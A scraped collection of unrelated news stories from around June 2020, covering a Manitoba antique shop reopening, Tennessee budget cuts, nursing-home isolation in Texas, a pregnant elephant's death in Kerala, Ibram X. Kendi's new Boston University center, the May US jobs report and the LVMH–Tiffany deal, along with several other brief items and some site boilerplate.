ROW

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Related Reports on Healthcare Include:

Global Intravenous Fluid Bags Market Global intravenous fluid bags market by end-user (hospitals, home healthcare, and others) and geography (North America, Europe, APAC, and South America).

Global Paracetamol Market Global paracetamol market by type (powder and granules) and geography (North America, Europe, Asia, and ROW).

About Technavio

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With over 500 specialized analysts, Technavio's report library consists of more than 17,000 reports and counting, covering 800 technologies, spanning across 50 countries. Their client base consists of enterprises of all sizes, including more than 100 Fortune 500 companies. This growing client base relies on Technavio's comprehensive coverage, extensive research, and actionable market insights to identify opportunities in existing and potential markets and assess their competitive positions within changing market scenarios.

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Bazaar Corporate Radar | Feb 22, 2021, 12:00 AM IST

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Bazaar Corporate Radar is your window into the minds of top CEOs, Boardrooms, global economists, fund managers and sector analysts. If it?s making news, you?ll find it on Bazaar Corporate Radar.
Americas Racial Reckoning: What you need to know

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Like many Westman businesses, Prairie Collective Co. is just getting back in the public eye, having officially reopened its doors on Tuesday for the first time in two months.

Hey there, time traveller!

This article was published 4/6/2020 (596 days ago), so information in it may no longer be current.

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Jessica and Jeremy Jamieson load up some antiques in their van before moving them over to their Russell-based business. The pair recently re-opened their shop, Prairie Collective Co., after being out of commission for several months due to the COVID-19 outbreak. (Submitted)

Like many Westman businesses, Prairie Collective Co. is just getting back in the public eye, having officially reopened its doors on Tuesday for the first time in two months.

While owners Jeremy and Jessica Jamieson arent exactly sure how the COVID-19 pandemic will affect their antique shops day-to-day operations, the husband-wife duo told the Sun in late May they are looking forward to interacting with their customers in person once again.

Prairie Collective Co. co-owner Jeremy Jamieson explores an abandoned building in Binscarth this past November. Jamieson has a professional picker since he was 21 years old. (Submitted)

Not only do these encounters help them stay connected with the community of Russell in general, but having a brick-and-mortar operation this time of year helps the owners figure out where they can figuratively dig up their latest collection of buried treasure.

"We (usually) have people that come into the store at least twice a week saying that theyre cleaning out sheds because its springtime," Jessica said on May 26. "So a lot of our contacts are made through people just popping in, knowing that we might buy something."

The Jamiesons established Prairie Collective Co. back in the summer of 2017, wanting to provide a place where Russell residents, and Westman antique hunters in general, can buy and sell old relics in one accessible location.

So far, the pair said the local business community has been extremely supportive of this relatively new venture, so much so that theyve been able to thrive in selling other products, such as old furniture, homemade decor and artisan handiwork.

"Weve got about 23 consigning artists that sell their stuff in our store, whether its handmade products or upcycled things," Jessica said. "We knew wed hope to sell some small antiques, but the furniture has meet a definite need in our community, so that has gone really well."

Of course, part of the Jamiesons success is due to the fact theyve been laying the groundwork for this business for over a decade.

Jeremy said he started taking the hobby seriously approximately 15 years ago, when he attended a flea market and was told he had a good eye for antiques.

An exterior shot of the Prairie Collective Co., which is located at 350 Main Street in Russell. This antique shop was first established in 2017. (Submitted)

From there, the future Prairie Collective co-owner became a professional picker, where he would take every opportunity to visit auctions, garages sales, abandoned buildings and vacant lots in the hopes of finding unique trinkets with good resale value.

Along the way, the Jamiesons have stumbled across some truly miraculous finds, including a 19th-century hand tool that was used to sharpen spokes on wagon wheels.

Jeremy also discovered that being upfront and transparent with property owners has been his key to success.

"Over the years, Ive heard lots of stories of people just going onto an abandoned yard site and assuming that because its abandoned they can help themselves to whatevers there. Thats not the way I see it," he said. "I would say that to anybody else (looking to start picking), find out who owns the land, be respectful, dont go onto a property that isnt yours, get permission and be fair."

Thanks to this approach, Jeremy managed to build up a pretty solid network of contacts over the years, which allowed him and his wife to hit the ground running when they finally opened Prairie Collective Co. in 2017.

A snapshot of just some of the merchandise that Westman treasure hunters can find at the Prairie Collective Co. in Russell. (Submitted)

"In terms of the antiques, we had enough on hand to fill some shelves in the store," he said. "We also had bought some furniture just prior and Jess had her own handmade artwork and a handful of other consigning artists, so we filled the store up really quickly."

Even though their inventory is still in good shape, the Jamiesons said the COVID-19 outbreak has forced them to slightly modify their game plan heading into the rest of the summer.

Outside of implementing different in-store safety protocols to make sure customers maintain social distancing, the Jamiesons said they will be limiting their picking expeditions to within a 30-kilometre radius around Russell, not wanting to risk further community transmission of the virus.

However, the pair still feel comfortable enough to book antique hunting ventures within that vicinity, since a lot of the buildings they explore are abandoned.

"Last weekend, we had a couple picks and they were just on vacant properties," Jessica said on May 26. "The property owner is able to stay at a distance in their vehicle and we can go into these barns that are not lived in. So, were probably more in danger of encountering mouse droppings than COVID."

Still, the couple worries about how this souring attitude to travel will effect their bottom line, since a lot of their business comes from curious visitors who are making a stop off the highway.

No matter what happens in the next couple months, the Jamiesons just want to thank their customers for their continued support during the stores temporary closure, whether that involved sharing a kind word or purchasing an item online.

"Its been really awesome and encouraging to know that even though we are in this lockdown, we still have customers who support us  even if that just involved ordering a can of paint," Jessica said.

Anyone interested in learning more about Prairie Collective Co. can visit their website (prairiecollectiveco.com) or contact the Jamiesons directly at prairiecollectivecompany@gmail.com.

 kdarbyson@brandonsun.com

 Twitter: @KyleDarbyson
Governor Bill Lees administration on Thursday outlined new spending plans for state government that reflect significant revenue reductions due to the huge economic impact of COVID-19.

Department of Finance and Administration Commissioner Butch Eley presented state lawmakers with the revised budget plans for the current fiscal year, as well as FY 2020-21, which begins July 1, 2020, and a framework for the following fiscal year, 2021-22.

We will balance our budget each year while providing important services to our citizens, Commissioner Eley said.

Were adjusting to the immediate impact of the pandemic on state revenues of up to $1.5 billion through the end of the next fiscal year, planning for the worst and hoping for the best.

Tennessee has a history of being one of the best managed states in the nation, and we intend to work with the Legislature to continue that tradition, maintaining low taxes and preserving reserves while achieving efficiencies in operations and continuing to serve our citizens.

In March, the administration and the General Assembly agreed on $397 million in recurring reductions at the onset of COVID-19, and the administration is proposing an additional $284 million in reductions for FY 20-21, bringing the total to $681 million in reductions. Hiring and expenditure freezes have also been in place since March. The state will close the current fiscal year on June 30 with unbudgeted non-tax revenues, agency savings and reserves.

In FY 20-21, the state will utilize reserves to lessen the impact of immediate spending reductions, allowing for thoughtful review of business practices for greater efficiencies and creative delivery of vital services as well as the development of strategic plans to reduce the employee workforce over the next two years, it was stated.

The states multi-year spending plan provides full funding for:

- The Basic Education Program (BEP) for K-12 public schools;

- Contributions to the state employee pension fund;

- State payments for employee health insurance; and,

- Debt service requirements.

Multi-year reductions will be achieved, in part, through:

- Up to 12% reductions through greater efficiencies in all departments;

- Reduction in new capital projects and funding for capital maintenance;

- Authorizing bonds for existing capital projects previously funded with cash; and,

- An employee buy-out initiative to reduce the state workforce over the next two years.

The state has reserve funds totaling $4 billion, including the Rainy Day Fund, which will reach $1.2 billion after an additional deposit of $325 million at the end of the fiscal year on June 30.
Bonnie Smith ate shrimp and pasta  a favorite meal  and talked on the phone with one of her kids the night before she died. These were some of the last few pleasures her long-term care facility allowed.

For weeks, Smith  like thousands across the country  was largely stuck in her room at a facility in Florida, unable to go to Bible study groups or eat lunch with friends.

And though her daughter in Houston fully expected Smith to reach her 100th birthday in July, she had begun to worry. The isolation wore on her mom. Her voice weakened. Her breathing worsened. Her body grew more frail.

She became increasingly depressed because she wasnt in contact with other people, said her daughter Marsha Hunter Smith, who visited every other month before the pandemic. She just kind of lost her spark.

More than two months have passed since federal and state officials ordered nursing homes to stop allowing visitors, group activities and communal dining. The decision seemed necessary to protect a vulnerable population.

Indeed, even with the restrictions, COVID-19 killed nursing home residents at an outsize rate. Around 700 people in nursing homes have died in Texas related to the novel coronavirus. More than 25,000 have died nationwide.

And while the federal government last month issued recommendations for how nursing homes could begin relaxing their rules, facilities in Texas remain under lockdown  which relatives and advocates say can be hard to bear. Its left facilities searching for ways to keep residents engaged.

NOTHING TO DO HERE: People in no-visit Texas nursing homes adapt to world without guests

Anxiety and depression increase with loneliness, said Carmel Dyer, a geriatrician with UT Physicians Center for Healthy Aging. A lack of mental stimulation can impact memory and thinking.

But loneliness and isolation are different: For 86-year-old Lillian McNeill, the isolation hasnt been too hard. She enjoys watching the news while she eats in her nursing home in La Marque.

On Wednesday, she won several rounds of socially distanced bingo in the hallway. She knows how to entertain herself, she said.

For Smith, it was different. Before the coronavirus began to spread, she got her hair done weekly and put on full makeup every morning.

Under the restrictions, this woman who enjoyed company couldnt have visitors. This woman who appreciated an elegant table ate meals delivered on disposable plates. This woman who once had so much to look forward to was dying.

On the day she passed, her daughter told her by phone that she loved her.

She did not have anything to live for, Hunter Smith said. Her kids couldnt come see her. She couldnt go do the activities she loved. She couldnt be out with the people she enjoyed being with. There was nothing to keep her going.

Jimmy Jones worried, too, about his mother, Leona, whom he used to visit regularly at the same nursing home where McNeill lives, Bayou Pines Care Center. Jones struggled to help his mom stay positive, especially after she contracted COVID-19.

She grew anxious, convinced the virus would kill her. You need to get me out of here, she told her son when she managed to answer her phone and get it to her ear. Im going crazy.

It was hard to think of what to do. When she turned 98 in May, Jones tried to make a big deal of it. He hung a bird feeder outside her window. People sent 100 birthday cards.

Erika Parrish, the nursing home administrator, promised Jones a parade down the hall when she got better.

Parrish is seeing more depression among residents, and she is doing what she can to address it. They serve more ice cream to provide more calories. A person on contract helps them with mental health issues.

Most of all, they try to focus on the positive.

Which nursing homes have coronavirus outbreaks? Texas wont tell you

We try to encourage the residents: Listen. Youre going to get past this, Parrish said.

Still, there were limits to interactions nursing homes could facilitate. Margaret Chapman had a difficult time discerning how her 92-year-old mom was really doing in the Louisiana facility where she used to visit every other week.

She felt her mom couldnt relax talking on an iPad in front of her roommate. She wondered: Was her mom as happy as she sounded?

Gov. Greg Abbott so far has issued no guidance. Instead, he announced $3.6 million in federal funding to help nursing homes buy tablets, webcams and headphones.

Abbott also mandated all nursing home residents and staff be tested for the coronavirus. That process as of mid-day Thursday was nearly complete, with testing finished in 1,146 of 1,223 facilities.

Working now to figure out what life will be like in nursing homes feels critical to Claudia Aguirre, president of BakerRipley and part of a Harris County Precinct 2 task force for nursing home issues.

She aims to be proactive, rather than reactive, and they have been brainstorming how to help going forward. The aftermath is just as critical as what is happening right now, Aguirre said.

Others meanwhile could help mitigate the sense of loneliness, suggested Anita Woods, a retired Baylor College of Medicine professor in geriatrics and palliative care. Could the neighborhood host a parade? Could kids out of school write cards?

Whatever it was, Woods felt society needed to rally around these residents who had long been under the radar  if not neglected.

Dyer suggested the opinion of those enduring this shouldnt be discounted. With added testing, was there a way to protect everyone while also respecting their autonomy?

The truth of the matter is we should ask people, Dyer said. Say: Would you rather stay here and be isolated? Are you OK with that? Or would you rather take the risk and get out and see your children and see your grandchildren?

emily.foxhall@chron.com
A man has been arrested in India in connection with the death of a pregnant elephant in Kerala amid national outpouring of anger and grief.

The elephant was found by forest officials with severe injuries to its mouth, most likely after trying to eat a piece of fruit laden with fireworks  a kind of trap commonly used by farmers to stave off smaller wildlife.

Forest officials tried to help the 15-year-old animal but it refused to leave the river where it was found. In a Facebook post about the incident that went viral, Mohan Krishnan said it appeared the elephant was trying to relieve its pain with river water. The elephant died two days later.

Vets discovered the elephant was two months pregnant. Dr David Abraham, the vet who carried out the autopsy, told the New Indian Express the animal suffered terrible injuries to her upper and lower jaws as a result of cracker (firework) explosion.

The animal had likely suffered for weeks before it was found, unable to eat because of its injuries. It was very weak, Dr Abraham said.

Recommended Elephants poked with pointed sticks for UK tourists at Indian resort

The furore around the death has prompted the Keralan state government to launch a major investigation, with more than 250 forest department personnel searching for clues as to how the elephant came to be injured.

Media reports have generally stated that the elephant ate a rigged pineapple  but even this is just conjecture given the time that passed between the injuries and the discovery of the animal.

The man arrested was named by police as Wilson, a farmer in the Ambalappara district, but police did not elaborate on what led them to believe he was linked to the incident. On Thursday, Keralas chief minister said the investigation was focused on three suspects, while police said they had brought in two people for questioning.

The elephants death has outraged animal rights activists, celebrities and leading businessmen alike, with Ratan Tata - one of Indias richest men - writing on Twitter that such criminal acts against innocent animals are no different than acts of premeditated murder against other humans.

India has around 27,000 wild elephants, according to the most recent (2017) census, with the animals both revered in Hinduism and adopted as a national heritage animal in 2010. Yet there are also around 2,500 elephants held in captivity across the country, despite the well-documented cruelty involved in training the animals to accept being handled by humans.

The animal rescue charity Wildlife SOS said it was offering a 100,000 rupee (1,040) reward for information leading to a conviction in the case. Killing an elephant, as a Schedule 1 animal under Indias Wildlife Protection Act, is punishable by up to seven years in prison.

The charity said that farmers continued to use crude and inhumane methods like fruit bombs on the pretext of crop protection despite crop compensation schemes available from the forest department.

Kartick Satyanarayan, the charitys co-founder, told The Independent: Such heinous crimes need swift action and immediate punishment to ensure that offenders are not emboldened by inaction. No animal deserves such a cruel fate.

As well as drawing a widespread reaction in support of animal welfare, the elephants death also sparked a wave of anti-Muslim hate speech online after it was mistakenly reported that the animal died in Malappuram, the only Muslim-majority district in Kerala state.

Ministers in Narendra Modis Hindu nationalist administration helped spread the mistake, with environment and forest minister Prakash Javadekar tweeting that the central government has taken a very serious note of the killing of an elephant in Malappuram. He added that the killing was not an Indian culture.

Maneka Gandhi, a prominent MP and former minister from Mr Modis BJP, went one step further. She not only reiterated the false claim that the incident happened in Malappuram, but added incorrectly that it was Indias most violent district.

Keralas left wing chief minister Pinarayi Vijayan on Thursday rejected the claims, and accused right-wing politicians of using the elephants death to unleash a hate campaign and import bigotry into his state.
Boston University announced Wednesday it plans to open a research center focused on social and racial justice that will be spearheaded by one of the nations leading scholars on race and racism, according to the school.

Ibram X. Kendi will join BU this summer as a professor in the Department of History in the College of Arts & Sciences. He is expected to set up a school-wide research center called the BU Center for Antiracist Research, Jean Morrison, university provost and chief academic officer, said in a statement.

The center will bring together researchers and practitioners from across the school and the region to figure out ways to understand and solve seemingly intractable problems of racial inequity and injustice, the centers website says.

The creation of the BU Center for Antiracist Research and the addition of Dr. Kendi to our faculty are important steps forward for the University, Morrisons statement said. While conversations about these developments have been underway for months, the need for work in this area has become even more visible in recent days, as we have all experienced painful reminders of the persistence of racism and racial inequities in our society.

The schools announcement comes as people continue to protest throughout the nation against police brutality and systemic racism following the killing of George Floyd. The unarmed black man died after a white Minneapolis police officer, later identified as Derek Chauvin, kneeled on his neck for nearly 9 minutes.

In a video of the incident captured by a bystander, three other officers can also be seen pinning down the 46-year-old man. All four law enforcement personnel have been charged in connection to the killing of Floyd.

In the wake of Floyds death and throughout his career, Kendi has spoken about how parents can teach their children about racial equality. He has also called for politicians to implement anti-racist policies, tweeting that lawmakers calls for healing and peace are empty when they do not state what policies they want to institute that oppose racism.

Kendi was also one of the first people to call on states to release racial data on coronavirus patients. The scholar testified before the House Ways and Means Committee last week about COVID-19 disproportionate impact on black citizens, saying there is a racial pandemic within the viral pandemic."

During the very week we are announcing the founding of the BU Center for Antiracist Research, America is facing one of the largest outbursts of antiracist resistance in history, he wrote in a statement. Resistance to the killings of Breonna Taylor, Ahmaud Arbery, and George Floyd. Resistance to people of color being disproportionately killed from COVID-19. Resistance to all the policies causing racial disparities in everything from health to police violence.

The creation of BUs anti-racist research center has been almost a year in the making, the school said in another statement. The efforts to get Kendi on board started with a book event the scholar hosted at Brooklines Coolidge Corner Theatre in August 2019 that sparked conversations with Morrison and many BU faculty.

While developing the the universitys new strategic plan for 2030, the school also set an explicit goal of creating a research and scholarly hub focused on social and racial justice, according to Morrison.

Kendi previously worked at American University as the founding director of the schools Antiracist Research and Policy Center. He wrote the 2019 best-selling book How to Be an Antiracist and Stamped from the Beginning: The Definitive History of Racist Ideas in America, which won the National Book Award in 2016.

Ibrams appointment and his leadership will create a critical emphasis on research and policy to help eliminate racism in our country, Robert A. Brown, BU president said. I look forward to the impact of his work and the new Center on the Boston University community.

The anti-racism research center, which will be housed at 744-755 Commonwealth Ave., will build interdisciplinary research teams, help faculty from across BU convert research about race into books and media pitches, collect and use data on racial inequity and organize public events, the university said.

We are choosing to be antiracist, Kendi wrote in his statement. "My colleagues and I are choosing to use the blocks of thoughtful and exhaustive public scholarship to build an antiracist future for America, for humanity.

There is no better base of operations to found our research center than Boston University, a community of researchers and learners founded and still committed to inclusion.

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Linkedin (The Nation/Asia News Network)  Fri, June 5, 2020 13:37 595 fc6853813033f564188675f8bdc5fb9b 2 News Thai-Lion-Air,Airlines,Thailand,travel Free

Thai Lion Air has started selling Bangkok-Jakarta round-trip air tickets, expecting its first international flights to take-off within August.

The airline said that there would be good news for the international flight market if the Civil Aviation Authority of Thailand did not extend its ban on international flights, which was scheduled to end on June 30.

In addition to the Bangkok-Jakarta route, Thai Lion Air plans to restart other routes from Bangkok to Singapore, Taiwan, China and Japan. However, the schedule for these flights has not been concluded, depending on the governments measures.

Read also: Hotels in Thailand advised to offer promotions in June, July to attract customers

Thai Lion Air aims to restart its flights between Bangkok and Phuket in the middle of this month. It also plans to increase the frequency of flights from Bangkok to Chiang Mai, Ubon Ratchathani, Nakhon Si Thammarat, Surat Thani and Hat Yai to two times a week, as domestic passengers have returned since May-end.

Those needing to take the flights at this time were mostly businessmen and people who wanted to return to their home town, it added.

Topics :

This article appeared on The Nation newspaper website, which is a member of Asia News Network and a media partner of The Jakarta Post
Friday, June 5, 2020

By Dr. Philip Zimbardo,  2020 Professor Emeritus, Stanford University and Past President of the American Psychological Association

Editorial Note: Professor Zimbardo is one of the most important psychologists of our time. He is an early stage supporter of my work in violence prevention and mental health promotion. We met in 2006 when I was a Reuters Digital Vision Fellow at Stanford University. He immediately understood the scope of my work and is one of my most steadfast supporters. Please share his essay widely, as it offers important insights regarding matters of discrimination.

Why does it matter what the color of our skin is?

Why does it matter what the color of our eyes are?

Why does it matter what the color of our hair is?

These are each external characteristics that vary widely among people from different nations.

Should any of them matter more than our intelligence, our morality, our compassion, or our wonder and delight at our common human nature?

This question obviously contrasts the core of our Inner Being with physical elements of our external being, that are used too often, and wrongly, as social constructions of our self-worth.

Our list could readily be expanded to include what differences does our height or weight matter, or size of our nose really matter?

All of these facial and bodily characteristics mattered very much to the Nazi Fuhrer, Adolf Hitler, in his vision of Germany as the perfect Aryan nation, filled with blue-eyed blondes with petite noses! Those external features were characteristic of Nazis as the superior race who had the right to dominate and destroy everyone in every nation that was inferior to those in his Third Reich. Nazi propaganda visualized these mythical perfect Hitler youth as contrasted with dark skin, big nosed Jewsas the enemyto be destroyed.



April 4, 1968: Reverend Martin Luther King Jr. is murdered by a white gunman in Memphis, Tennessee. Riots of protest rock America. Chicagos Mayor Daly orders police to shoot to kill.

April 5, 1968: Mrs. Jane Elliott, a 3rd grade elementary school teacher in the farming town of Riceville, Iowa, population of about 850, all white, all Christian, is preparing her class exercise on Brotherhood. She plans to focus on the plight of Native Americans. But changes her mind and her lesson as she reflects on the significance of Rev. Kings murder. She wonders how she could teach her beloved 28 students to experience personally the power of arbitrary discrimination. Mrs. Elliott choose eye color as her demonic device.

She informs the class that she has just learned that brown-eyed people are inferior to blue-eyed people and gives a number of examples to validate that distinction. Then she adds action consequences, such as brown-eyed children have to wear collars, to be put on by their classmates with blue eyes, so they will be more distinguishable. They are forced to sit at desks in the back of the class, and they must also not go to lunch until the blue-eyed, superior children have finished.

Amazingly, these children who had grown up knowing each other very well from earlier classes and family contacts, immediately began to be hostile toward their now inferior buddies and playmates. They abused them with derogatory accusations and in physical confrontations. It was the worst day in my life, a crying Brown Eye girl proclaimed.

But it got better for her the next day when Mrs. Elliott explained that she had made a mistake; that it was blue eyes who were inferior and brown eyes who were superior.

Did the suffering of the brown eyes on the previous day create a tolerance for their blue-eyed buddies? NOT AT ALL!

Arbitrary discrimination reared its ugliness as they immediately gave what they had gottenangry abuse at classmates who now were clearly inferior and deserved to be punished for having the wrong eye color.

Mrs. Elliotts brilliant demonstration of the ease and rapidity of arbitrary discrimination inflicting all in its sphere of influence 

like our current Covid-19 Pandemic is inflicting millions globally with its deadly new virus

is even more significant now in 2020 than it was nearly 40 years ago.

Please view the powerful documentary of this class exercise in prejudice, A Class Divided, on PBS.Org, a Frontline drama.

All links are included in the post below.

An updated postscript.

Immediately after I became aware of her powerful social psychological experiment, I invited Jane to share her brilliant insights with my Stanford University students and faculty.

Jane Elliott has gone on in her new career as Discrimination Awareness Warden with adults from various backgrounds and careers. She demonstrates the ease and rapidity with which discrimination dominates common sense based on any random arbitrary physical characteristic, such as if you can curl your tongue or not. Those who can are the Superior Class, those who cant obviously belong to the Inferior Class.

To see more about this now 87 year- old dynamo in action view her via these following links.

Here Jane Elliott is talking with Jimmy Fallon recently

(note her sweatshirt proclaiming:

GOD CREATED ONE RACE, THE HUMAN RACE)

All links are included in the post below.

[embedded content]

And check out a recent Blue Eyes / Brown Eyes experiment Jane did in Britain.

All links are included in the post below.

[embedded content]

And here is a powerful documentary about her lifes mission.

All links are included in the post below.

[embedded content]

Thanks for your caring concern now and forever more in our uncertain future.

Ciao,

Dr.Z.
Xu Zhiyong, a prominent Chinese activist and legal scholar detained by the government since earlier this year, is being honored by PEN America.

The literary and human rights organization announced Thursday that Xu is this year's winner of the PEN/Barbey Freedom to Write Award, which recognizes those imprisoned for free expression and previously has been given to dissidents everywhere from Cuba to Turkey. Xu's award comes on the 31st anniversary of the so-called Tiananmen Square Massacre, when Chinese soldiers shot and killed pro-democracy demonstrators.

The 47-year-old Xu has strongly criticized Chinese leader Xi Jinping for his handling of the coronavirus outbreak. Xu had been in hiding since last December, but continued to attack Xi on social media, accusing him of covering up information about the virus and calling him unfit for his job.

"You didn't authorise the truth to be released, and the outbreak turned into a national disaster," Xu wrote in February, shortly before he was detained. "I don't think you're an evil man, you're just not wise."

According to friends, Xu faces charges for "inciting subversion of state power."

In a recent interview with Associated Press, PEN CEO Suzanne Nossel cited a "confluence" of factors in giving the award to Xu, from China's human rights violations as China's influence grows worldwide to dangers of official secrecy on public health.

Xu has a long history of taking on the government and was jailed in 2014 for "gathering a crowd to disturb public order," a charge stemming from his leadership of the reformist New Citizens Movement. In 2009, he was arrested on charges of tax evasion but released a month later.

PEN will highlight Xu's life and work at its annual gala, scheduled for December 8 in Manhattan after being postponed from May because of the coronavirus. Other honorees will include the musician and author Patti Smith and Hearst executive president Frank A. Bennack Jr.

 Associated Press

Teen hurt in gunfire at rap video shoot

A teenager was injured Wednesday night after gunfire rang out during the filming of a music video in Atlanta, the city's police said.

Rapper YFN Lucci, whose real name is Rayshawn Bennett, was filming the music video in an apartment complex in the southeastern part of the city, Atlanta police told WGCL-TV.

Police said the 15-year-old boy's thumb was grazed after some 21 bullets were fired, with at least one striking YFN Lucci's Bentley. The teen was not identified and it was not immediately known if he has been hospitalized.

Police are searching for suspects in the shooting.

 Associated Press

Brian Cox takes on other roles

"Succession" may be temporarily shut down, but star Brian Cox finds projects to keep him busy.

Cox recently filmed "Little Room," a "whodunnit" for the Zoom age. The story centers on a psychiatrist who's missing. Her patients connect online to find her.

The actor said it took him four days to work out how to send his scenes to filmmakers.

"My baptism of fire was downloading the takes that I had to then send and it was taking forever," Cox said from upstate New York. "I don't know, it's just a bit of a nightmare."

Work on the third season of HBO's "Succession" halted for the pandemic. Cox won a Golden Globe this year for his role as media mogul Logan Roy.

The first episode of "Little Room" is available to stream at www.pinpointpresents.com. Viewers will be asked to donate what they can. The proceeds will go directly to film and TV charities in the U.K. and U.S.

 Associated Press

Influencer Jake Paul charged after riot

Social media influencer Jake Paul faces misdemeanor charges following a riot at a mall outside Phoenix, police said Thursday. Paul, who has 20 million followers, says he was merely trying to find people protesting against the death of George Floyd.

Paul, 23, was identified as a participant in a riot last Saturday night at Scottsdale Fashion Square and has been charged with criminal trespass and unlawful assembly, the Scottsdale Police Department said in a statement.

Police determined that "Paul was present after the protest was declared an unlawful assembly and the rioters were urged to leave the area by police." He entered and remained inside of the mall when it was closed, police said.

Sgt. Benjamin Hoster said he didn't know if Paul has an attorney. He was issued a summons to appear in court "in a month."

 Associated Press
(JNS)  A recent JNS article needs to more clearly expose the true identity of the signers and originators of a falsehood-filled letter to the Conference of Presidents of Major American Jewish Organizations . The letter maligned me and the Zionist Organization of America for appropriately opposing the election of HIAS chair Dianne Lob to become chair of the Conference of Presidents, and for explaining how HIASs activities conflict with the Conferences missions of helping Jews and Israel.

The letter misleadingly identified its signers as caring young Jews.

In fact, these ...
The 2020 Jeep Gladiator has been crowned the Official Winter Truck of New England at the annual New England Motor Press Association (NEMPA) winter vehicle competition. Jeep Gladiator earned the title in its first year of eligibility at this event.

"The Jeep Gladiator is the Swiss Army knife of Jeep, it is a serious off-road vehicle, useful pickup truck, comfortable passenger vehicle, competent highway cruiser that easily dominates winter in New England," said John Paul, President, New England Motor Press Association. "The Jeep Gladiator proves itself as the best all-around pickup truck and makes it the clear choice as the 2020 New England Motor Press Association Winter Pickup Truck of the Year."

The 2020 Jeep Gladiator, engineered from the ground up to be the most off-road capable Jeep truck ever, builds on a rich heritage of tough, dependable Jeep trucks with an unmatched combination of rugged utility, authentic Jeep design, open-air freedom, clever functionality and versatility.

Equipped with the proven 3.6-liter Pentastar V-6 engine and a versatile cargo box, Gladiator is built to handle the demands of an active lifestyle while delivering an open-air driving experience in a design that is unmistakably Jeep. Combining traditional Jeep attributes with strong truck credentials, the Jeep Gladiator is a unique vehicle capable of taking passengers and cargo anywhere.

All Gladiator models are Trail Rated with a badge indicating that the vehicle is designed to perform in a variety of challenging off-road conditions identified by five key consumer-oriented performance categories: traction, ground clearance, maneuverability, articulation and water fording.

NEMPA members evaluated a wide variety of vehicles from various manufacturers that covered several categories. Journalists cycled through each vehicle throughout New England leading up to the official day of testing and scoring that took place in February at NEMPA headquarters in Middleborough, Massachusetts.

About New England Motor Press Association (NEMPA)

The New England Motor Press Association was founded in 1987 to coordinate professional media coverage of the auto industry in Connecticut, Maine, Massachusetts, New Hampshire, Rhode Island and Vermont, whose 14.5 million citizens have unique demographics and automotive preferences. NEMPA's media members appear on network and cable TV, on the Internet and radio, and in regional and national newspapers and magazines. For more information, please visit www.nempa.org.

Jeep Brand

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Americas labour market defied forecasts for a Depression-style surge in unemployment by rebounding in May, signalling the economy is picking up faster than anticipated from the coronavirus-inflicted recession.

A key gauge of payrolls rose by 2.5 million, trouncing forecasts for a sharp decline following a 20.7 million tumble the prior month that was the largest in records back to 1939, according to Labor Department data Friday. The jobless rate fell to 13.3 per cent from 14.7 per cent.

U.S. stocks jumped after the report, adding to weeks of gains in equities since mid-March. The figures were so astonishing that President Donald Trump said he would hold a news conference at 10 a.m. in Washington to discuss what he called a Really Big report.

While the overall picture improved, one key number in the report deteriorated. Unemployment rates declined among white and Hispanic Americans, but the level ticked up among African Americans to 16.8 per cent, matching the highest since 1984. That comes amid nationwide protests over police mistreatment of African-Americans, which have drawn renewed attention to black peoples economic plight.

The unexpected improvement wasnt limited to the U.S. figures. North of the border, Canadian employment rose 290,000 in May, compared with forecasts of a 500,000 slump, its statistics office reported Friday.

The data show a U.S. economy pulling back from the brink as states relax restrictions and businesses bring back staff, while supporting a rebound in the stock market. At the same time, the lack of an effective treatment for COVID-19  which has already killed more than 100,000 in the U.S.  means infections may persist and possibly surge in a second wave, with the potential to further shake the labour market and extend the economic weakness.

Clearly the labour market turned the corner in late April, early May. Were seeing a rebound of labor-market activity, said Michael Englund, chief economist at Action Economics, who had estimated a payrolls decline of 2 million, the second-closest estimate. He expects June economic and labor-market data to show further improvements and plans to revise up his forecast for second-quarter gross domestic product.

The latest figures may give a boost to Trump, who has fallen behind Democratic challenger Joe Biden in polls amid the pandemic, recession and now nationwide protests over police mistreatment of African-Americans. The numbers also come amid a debate over the timing and scope of additional stimulus, with Democrats and Republicans at odds following record aid approved by Congress to cushion the downturn.

Economist forecasts had called for a decline of 7.5 million in payrolls and a jump in the unemployment rate to 19 per cent. No one in Bloombergs survey had projected improvement in either figure.

One caveat noted by the U.S. Labor Department: the unemployment rate would have been about 3 percentage points higher than reported if data were reported correctly, according to the agencys statement. That refers to workers who were recorded as employed but absent from work due to other reasons, rather than unemployed on temporary layoff.

The broader U-6, or underemployment rate  which includes those who havent searched for a job recently or want full-time employment  fell to 21.2 per cent in May from 22.8 per cent. In February, it was 7 per cent, with the main unemployment rate at a half-century low of 3.5 per cent.

The employment-population ratio rose to 52.8 per cent from 51.3 per cent. The participation rate  or the sum of employed and unemployed Americans as a share of the working-age population  advanced to 60.8 per cent from 60.2 per cent.

Hiring in May was broad-based, with hard-hit restaurants rebounding along with retail and health care. But state and local government workers were hammered for a second month, with 571,000 job cuts.

Manufacturing payrolls rose by 225,000, following a 1.32 million decline in April.

The share of the unemployed on temporary layoff fell to 73 per cent from a record-high 78.3 per cent. Goldman Sachs Group Inc. economists said before the report that if job losses remain concentrated in furloughs, it would increase the scope for a more rapid labour market recovery.

Average hourly earnings for employed private workers rose 6.7 per cent in May from a year ago, following 8.5 per cent in April, as the return of low-wage workers skewed pay figures back downward a bit.

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The proposed 12.7billion takeover of Tiffany by the owner of Louis Vuitton has been thrown into doubt by the Covid-19 pandemic.

LVMH, which already owns 75 brands including Moet & Chandon and Christian Dior, agreed to buy the US jewellery chain in November.

But the deal has not yet been completed and LVMH is thought to be looking to renegotiate after the coronavirus outbreak and social unrest in America hit Tiffany sales. Rumours have been swirling that LVMH chief executive Bernard Arnault, France's richest man, would pull out of the deal altogether or seek to lower the price.

Losing its sparkle: LVMH is thought to be looking to renegotiate after the coronavirus outbreak and social unrest in America hit Tiffany sales

Having seen Tiffany shares fall well below the agreed $135 sale price to around $114, it was thought LVMH might start buying stock on the open market, handing it a slice of the company on the cheap.

But LVMH said it would not do this  though it refused to elaborate on its plans further. LVMH said a board meeting on Tuesday 'notably focused its attention on the development of the pandemic and its potential impact on the results and perspectives of Tiffany with respect to the agreement that links the two groups'.

It was not clear what strategy LVMH might pursue to secure a price cut, but one way into a renegotiation would be if Tiffany breached its financial covenants under the deal. LVMH has not yet asked Tiffany to reopen talks.

Tiffany's New-York listed shares are likely to remain under pressure if investors believe a cut-price deal could be struck behind closed doors.
Mayor Bill de Blasio on Friday said New York is on track to reopen on Monday from the coronavirus lockdown that turned the most populous U.S. city into a virtual ghost town, restarting work at 32,000 shuttered construction sites.

